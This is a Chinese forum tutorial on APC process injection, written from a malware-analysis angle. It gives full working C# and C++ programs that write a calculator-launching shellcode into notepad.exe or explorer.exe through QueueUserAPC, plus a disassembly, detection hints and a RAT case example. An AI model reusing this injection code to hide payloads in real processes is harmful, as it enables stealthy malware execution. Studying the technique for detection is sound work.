首页
社区
课程
招聘
[原创]恶意代码分析之APC进程注入学习
2020-5-23 11:12 6452

[原创]恶意代码分析之APC进程注入学习

2020-5-23 11:12
6452

1 简短原理

APC队列:每个线程都有一个APC队列,在线程处于可警醒状态时,线程会执行APC队列中APC函数。


APC在什么时候调用?

1、线程已经创建,系统在调用线程函数时会检查APC队列,如果不为空,则调用APC队列中的apc函数,直到队列为空后,才开始调用线程函数。

2、线程通过WaitForSingleObjectEx等函数进入可警醒状态时,会先检查APC队列,如果不为空,则调用APC队列中的apc函数,直到队列为空后,才开始等待要等待的对象,此时如果要等待的对象没有进入激发态且没有超时,WaitForSingleObjectEx不会返回。

3、线程通过WaitForSingleObjectEx等函数进入可警醒状态时,APC队列为空,且要等待的对象没有进入激发态,也没有超时,则线程进入睡眠等待状态,此时往该APC队列添加APC函数后,该线程会被唤醒执行完所有APC队列中的函数,然后不去看要等待的对象是否进入激发态,立即从WaitForSingleObjectEx中返回,返回值是WAIT_IO_COMPLETION。往线程APC队列添加APC,系统会产生一个软中断。在线程下一次被调度的时候就会执行APC函数,APC有两种形式,由系统产生的APC称为内核模式APC,由应用程序产生的APC被称为用户模式APC。


2 实验准备

shellcode示例如下:

50 51 52 53 56 57 55 54 58 66 83 e4 f0 50 6a 60 5a 68 63 61 6c 63 54 59 48 29 d4 65 48 8b 32 48 8b 76 18 48 8b 76 10 48 ad 48 8b 30 48 8b 7e 30 03 57 3c 8b 5c 17 28 8b 74 1f 20 48 01 fe 8b 54 1f 24 0f b7 2c 17 8d 52 02 ad 81 3c 07 57 69 6e 45 75 ef 8b 74 1f 1c 48 01 fe 8b 34 ae 48 01 f7 99 ff d7 48 83 c4 68 5c 5d 5f 5e 5b 5a 59 58 c3


如何得到shellcode的实际汇编代码?

将shellcode的16进制数据copy到ollydbg工具的反汇编窗口中,即可完成。例如在ollydbg中打开任意一个exe文件,在反汇编窗口中选中足够的行数,鼠标右击-二进制-二进制粘贴。经测试这段shellcode的作用是会弹出计算器,如下。

004547CC      50            push eax                                 ;  kernel32.BaseThreadInitThunk
004547CD      51            push ecx
004547CE      52            push edx                                 ;  test.<ModuleEntryPoint>
004547CF      53            push ebx
004547D0      56            push esi
004547D1      57            push edi
004547D2      55            push ebp
004547D3      54            push esp
004547D4      58            pop eax                                  ;  kernel32.756033AA
004547D5      66:83E4 F0    and sp,0xFFF0
004547D9      50            push eax                                 ;  kernel32.BaseThreadInitThunk
004547DA      6A 60         push 0x60
004547DC      5A            pop edx                                  ;  kernel32.756033AA
004547DD      68 63616C63   push 0x636C6163
004547E2      54            push esp
004547E3      59            pop ecx                                  ;  kernel32.756033AA
004547E4      48            dec eax                                  ;  kernel32.BaseThreadInitThunk
004547E5      29D4          sub esp,edx                              ;  test.<ModuleEntryPoint>
004547E7      65:48         dec eax
004547E9      8B32          mov esi,dword ptr ds:[edx]
004547EB      48            dec eax                                  ;  kernel32.BaseThreadInitThunk
004547EC      8B76 18       mov esi,dword ptr ds:[esi+0x18]
004547EF      48            dec eax                                  ;  kernel32.BaseThreadInitThunk
004547F0      8B76 10       mov esi,dword ptr ds:[esi+0x10]
004547F3      48            dec eax                                  ;  kernel32.BaseThreadInitThunk
004547F4      AD            lods dword ptr ds:[esi]
004547F5      48            dec eax                                  ;  kernel32.BaseThreadInitThunk
004547F6      8B30          mov esi,dword ptr ds:[eax]
004547F8      48            dec eax                                  ;  kernel32.BaseThreadInitThunk
004547F9      8B7E 30       mov edi,dword ptr ds:[esi+0x30]
004547FC      0357 3C       add edx,dword ptr ds:[edi+0x3C]
004547FF      8B5C17 28     mov ebx,dword ptr ds:[edi+edx+0x28]
00454803      8B741F 20     mov esi,dword ptr ds:[edi+ebx+0x20]
00454807      48            dec eax                                  ;  kernel32.BaseThreadInitThunk
00454808      01FE          add esi,edi
0045480A      8B541F 24     mov edx,dword ptr ds:[edi+ebx+0x24]
0045480E      0FB72C17      movzx ebp,word ptr ds:[edi+edx]
00454812      8D52 02       lea edx,dword ptr ds:[edx+0x2]
00454815      AD            lods dword ptr ds:[esi]
00454816      813C07 57696E>cmp dword ptr ds:[edi+eax],0x456E6957
0045481D    ^ 75 EF         jnz short test.0045480E
0045481F      8B741F 1C     mov esi,dword ptr ds:[edi+ebx+0x1C]      ;  ntdll_1a.773A2100
00454823      48            dec eax                                  ;  kernel32.BaseThreadInitThunk
00454824      01FE          add esi,edi
00454826      8B34AE        mov esi,dword ptr ds:[esi+ebp*4]
00454829      48            dec eax                                  ;  kernel32.BaseThreadInitThunk
0045482A      01F7          add edi,esi
0045482C      99            cdq
0045482D      FFD7          call edi
0045482F      48            dec eax                                  ;  kernel32.BaseThreadInitThunk
00454830      83C4 68       add esp,0x68
00454833      5C            pop esp                                  ;  kernel32.756033AA
00454834      5D            pop ebp                                  ;  kernel32.756033AA
00454835      5F            pop edi                                  ;  kernel32.756033AA
00454836      5E            pop esi                                  ;  kernel32.756033AA
00454837      5B            pop ebx                                  ;  kernel32.756033AA
00454838      5A            pop edx                                  ;  kernel32.756033AA
00454839      59            pop ecx                                  ;  kernel32.756033AA
0045483A      58            pop eax                                  ;  kernel32.756033AA
0045483B      C3            retn


以下C#代码中出现的@与任何方法无关,作用是无需在符号后的字符串中转义特殊字符。例如,@"c:\temp" 等于"c:\\temp"。


完整代码,示例采用C#编写。

using System;
using System.Reflection;
using System.Diagnostics;
using System.Runtime.InteropServices;
public class ApcInjectionNewProcess
{
       public static void Main()
       {      
              
              byte[] shellcode = new byte[112] {
              0x50,0x51,0x52,0x53,0x56,0x57,0x55,0x54,0x58,0x66,0x83,0xe4,0xf0,0x50,0x6a,0x60,0x5a,0x68,0x63,0x61,0x6c,0x63,0x54,0x59,0x48,0x29,0xd4,0x65,0x48,0x8b,0x32,0x48,0x8b,0x76,0x18,0x48,0x8b,0x76,0x10,0x48,0xad,0x48,0x8b,0x30,0x48,0x8b,0x7e,0x30,0x03,0x57,0x3c,0x8b,0x5c,0x17,0x28,0x8b,0x74,0x1f,0x20,0x48,0x01,0xfe,0x8b,0x54,0x1f,0x24,0x0f,0xb7,0x2c,0x17,0x8d,0x52,0x02,0xad,0x81,0x3c,0x07,0x57,0x69,0x6e,0x45,0x75,0xef,0x8b,0x74,0x1f,0x1c,0x48,0x01,0xfe,0x8b,0x34,0xae,0x48,0x01,0xf7,0x99,0xff,0xd7,0x48,0x83,0xc4,0x68,0x5c,0x5d,0x5f,0x5e,0x5b,0x5a,0x59,0x58,0xc3
              };
              
              // Target process to inject into
              string processpath = @"C:\Windows\notepad.exe";
              STARTUPINFO si = new STARTUPINFO();
              PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
              
              // Create new process in suspended state to inject into
              bool success = CreateProcess(processpath, null,
                     IntPtr.Zero, IntPtr.Zero, false,
                     ProcessCreationFlags.CREATE_SUSPENDED,
                     IntPtr.Zero, null, ref si, out pi);
              
              // Allocate memory within process and write shellcode
              IntPtr resultPtr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, shellcode.Length,MEM_COMMIT, PAGE_READWRITE);
              IntPtr bytesWritten = IntPtr.Zero;
              bool resultBool = WriteProcessMemory(pi.hProcess,resultPtr,shellcode,shellcode.Length, out bytesWritten);
              
              // Open thread
              IntPtr sht = OpenThread(ThreadAccess.SET_CONTEXT, false, (int)pi.dwThreadId);
              uint oldProtect = 0;
              
              // Modify memory permissions on allocated shellcode
              resultBool = VirtualProtectEx(pi.hProcess,resultPtr, shellcode.Length,PAGE_EXECUTE_READ, out oldProtect);
              
              // Assign address of shellcode to the target thread apc queue
              IntPtr ptr = QueueUserAPC(resultPtr,sht,IntPtr.Zero);
              
              IntPtr ThreadHandle = pi.hThread;
              ResumeThread(ThreadHandle);
              
       }
       
       
       private static UInt32 MEM_COMMIT = 0x1000;
 
       private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; //I'm not using this #DFIR  ;-)
       private static UInt32 PAGE_READWRITE = 0x04;
       private static UInt32 PAGE_EXECUTE_READ = 0x20;
       
       
       [Flags]
       public enum ProcessAccessFlags : uint
       {
              All = 0x001F0FFF,
              Terminate = 0x00000001,
              CreateThread = 0x00000002,
              VirtualMemoryOperation = 0x00000008,
              VirtualMemoryRead = 0x00000010,
              VirtualMemoryWrite = 0x00000020,
              DuplicateHandle = 0x00000040,
              CreateProcess = 0x000000080,
              SetQuota = 0x00000100,
              SetInformation = 0x00000200,
              QueryInformation = 0x00000400,
              QueryLimitedInformation = 0x00001000,
              Synchronize = 0x00100000
       }
       
       [Flags]
       public enum ProcessCreationFlags : uint
       {
              ZERO_FLAG = 0x00000000,
              CREATE_BREAKAWAY_FROM_JOB = 0x01000000,
              CREATE_DEFAULT_ERROR_MODE = 0x04000000,
              CREATE_NEW_CONSOLE = 0x00000010,
              CREATE_NEW_PROCESS_GROUP = 0x00000200,
              CREATE_NO_WINDOW = 0x08000000,
              CREATE_PROTECTED_PROCESS = 0x00040000,
              CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000,
              CREATE_SEPARATE_WOW_VDM = 0x00001000,
              CREATE_SHARED_WOW_VDM = 0x00001000,
              CREATE_SUSPENDED = 0x00000004,
              CREATE_UNICODE_ENVIRONMENT = 0x00000400,
              DEBUG_ONLY_THIS_PROCESS = 0x00000002,
              DEBUG_PROCESS = 0x00000001,
              DETACHED_PROCESS = 0x00000008,
              EXTENDED_STARTUPINFO_PRESENT = 0x00080000,
              INHERIT_PARENT_AFFINITY = 0x00010000
       }
       public struct PROCESS_INFORMATION
       {
              public IntPtr hProcess;
              public IntPtr hThread;
              public uint dwProcessId;
              public uint dwThreadId;
       }
       public struct STARTUPINFO
       {
              public uint cb;
              public string lpReserved;
              public string lpDesktop;
              public string lpTitle;
              public uint dwX;
              public uint dwY;
              public uint dwXSize;
              public uint dwYSize;
              public uint dwXCountChars;
              public uint dwYCountChars;
              public uint dwFillAttribute;
              public uint dwFlags;
              public short wShowWindow;
              public short cbReserved2;
              public IntPtr lpReserved2;
              public IntPtr hStdInput;
              public IntPtr hStdOutput;
              public IntPtr hStdError;
       }
       
       [Flags]
       public enum    ThreadAccess : int
       {
              TERMINATE           = (0x0001)  ,
              SUSPEND_RESUME      = (0x0002)  ,
              GET_CONTEXT         = (0x0008)  ,
              SET_CONTEXT         = (0x0010)  ,
              SET_INFORMATION     = (0x0020)  ,
              QUERY_INFORMATION       = (0x0040)  ,
              SET_THREAD_TOKEN    = (0x0080)  ,
              IMPERSONATE         = (0x0100)  ,
              DIRECT_IMPERSONATION    = (0x0200)
       }
       
       [DllImport("kernel32.dll", SetLastError = true)]
       public static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle,
              int dwThreadId);
       
       [DllImport("kernel32.dll",SetLastError = true)]
       public static extern bool WriteProcessMemory(
              IntPtr hProcess,
              IntPtr lpBaseAddress,
              byte[] lpBuffer,
              int nSize,
              out IntPtr lpNumberOfBytesWritten);
       
       [DllImport("kernel32.dll")]
       public static extern IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData);
       
       [DllImport("kernel32")]
       public static extern IntPtr VirtualAlloc(UInt32 lpStartAddr,
               Int32 size, UInt32 flAllocationType, UInt32 flProtect);
       [DllImport("kernel32.dll", SetLastError = true )]
       public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress,
       Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect);
       
       [DllImport("kernel32.dll", SetLastError = true)]
       public static extern IntPtr OpenProcess(
        ProcessAccessFlags processAccess,
        bool bInheritHandle,
        int processId
       );
       
       
       [DllImport("kernel32.dll")]
       public static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes,bool bInheritHandles, ProcessCreationFlags dwCreationFlags, IntPtr lpEnvironment,string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
       [DllImport("kernel32.dll")]
       public static extern uint ResumeThread(IntPtr hThread);
       [DllImport("kernel32.dll")]
       public static extern uint SuspendThread(IntPtr hThread);
       [DllImport("kernel32.dll")]
       public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress,
       int dwSize, uint flNewProtect, out uint lpflOldProtect);
}


以上适用的是x64环境,实际演示如下。


采用C++编写的APC注入示例,如下。

#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
#include <vector>
int main()
{
       unsigned char buf[] = "\x50\x51\x52\x53\x56\x57\x55\x54\x58\x66\x83\xe4\xf0\x50\x6a\x60\x5a\x68\x63\x61\x6c\x63\x54\x59\x48\x29\xd4\x65\x48\x8b\x32\x48\x8b\x76\x18\x48\x8b\x76\x10\x48\xad\x48\x8b\x30\x48\x8b\x7e\x30\x03\x57\x3c\x8b\x5c\x17\x28\x8b\x74\x1f\x20\x48\x01\xfe\x8b\x54\x1f\x24\x0f\xb7\x2c\x17\x8d\x52\x02\xad\x81\x3c\x07\x57\x69\x6e\x45\x75\xef\x8b\x74\x1f\x1c\x48\x01\xfe\x8b\x34\xae\x48\x01\xf7\x99\xff\xd7\x48\x83\xc4\x68\x5c\x5d\x5f\x5e\x5b\x5a\x59\x58\xc3";
       HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
       HANDLE victimProcess = NULL;
       PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
       THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
       std::vector<DWORD> threadIds;
       SIZE_T shellSize = sizeof(buf);
       HANDLE threadHandle = NULL;
       if (Process32First(snapshot, &processEntry)) {
              while (_wcsicmp(processEntry.szExeFile, L"explorer.exe") != 0) {
                     Process32Next(snapshot, &processEntry);
              }
       }
       victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID);
       LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
       PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
       WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL);
       if (Thread32First(snapshot, &threadEntry)) {
              do {
                     if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
                           threadIds.push_back(threadEntry.th32ThreadID);
                     }
              } while (Thread32Next(snapshot, &threadEntry));
       }
       for (DWORD threadId : threadIds) {
              threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId);
              QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
              Sleep(1000 * 2);
       }
       return 0;
}

实际演示如下,进驻explorer.exe条件满足时会不断的调用。


验证下已经被注入的explorer.exe进程,如下可找到最初的shellcode代码。


3 逆向识别

在恶意代码分析中,识别APC注入比较明显的特征为QueueUserAPC函数的调用。

4 实际案例

这里就以笔者遇到的WebMonitorRAT远控后门母体中存在的APC注入流程为例,首先会组合拼接所需的shellcode,后续会注入到记事本进程(notepad.exe)。


接着启动"C:\Windows\system32\notepad.exe"进程,采用APC注入方式注入到shellcode到新进程中。


以下是注入的大体流程,采用APC注入方式,依次会调用CreateProcessW、VirtualAllocEx、WriteProcessMemory、QueueUserAPC,完成以上流程后,等待目标进程线程状态变化来执行shellcode。


5 参考来源

http://xipv6.com/index.php/archives/231/

https://blog.csdn.net/counsellor/article/details/80920864

https://github.com/pwndizzle/c-sharp-memory-injection/blob/master/apc-injection-new-process.cs

https://ired.team/offensive-security/code-injection-process-injection/apc-queue-code-injection


[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

最后于 2020-5-23 11:14 被jishuzhain编辑 ,原因:
收藏
点赞7
打赏
分享
最新回复 (5)
雪    币: 22
活跃值: (423)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
靴子 2020-5-23 13:19
2
0
简洁明了 谢谢分享
雪    币: 789
活跃值: (1494)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
のばら 2020-5-24 10:23
3
0
补充一点可有可无的,Sleep无法用于APC,需要通过SleepEx的第二个参数让线程进入可警醒才可以,大家请注意。
雪    币: 222
活跃值: (1886)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
lhglhg 1 2020-5-24 13:37
4
0
for  (DWORD threadId : threadIds) 
这个是啥语法?
雪    币: 6683
活跃值: (3305)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
htpidk 2020-5-26 09:53
5
0
lhglhg for (DWORD threadId : threadIds) 这个是啥语法?
C++11
雪    币: 256
活跃值: (382)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
十年后不是你 2020-12-11 18:08
6
0
htpidk C++11
这个语法不是c++17吗
游客
登录 | 注册 方可回帖
返回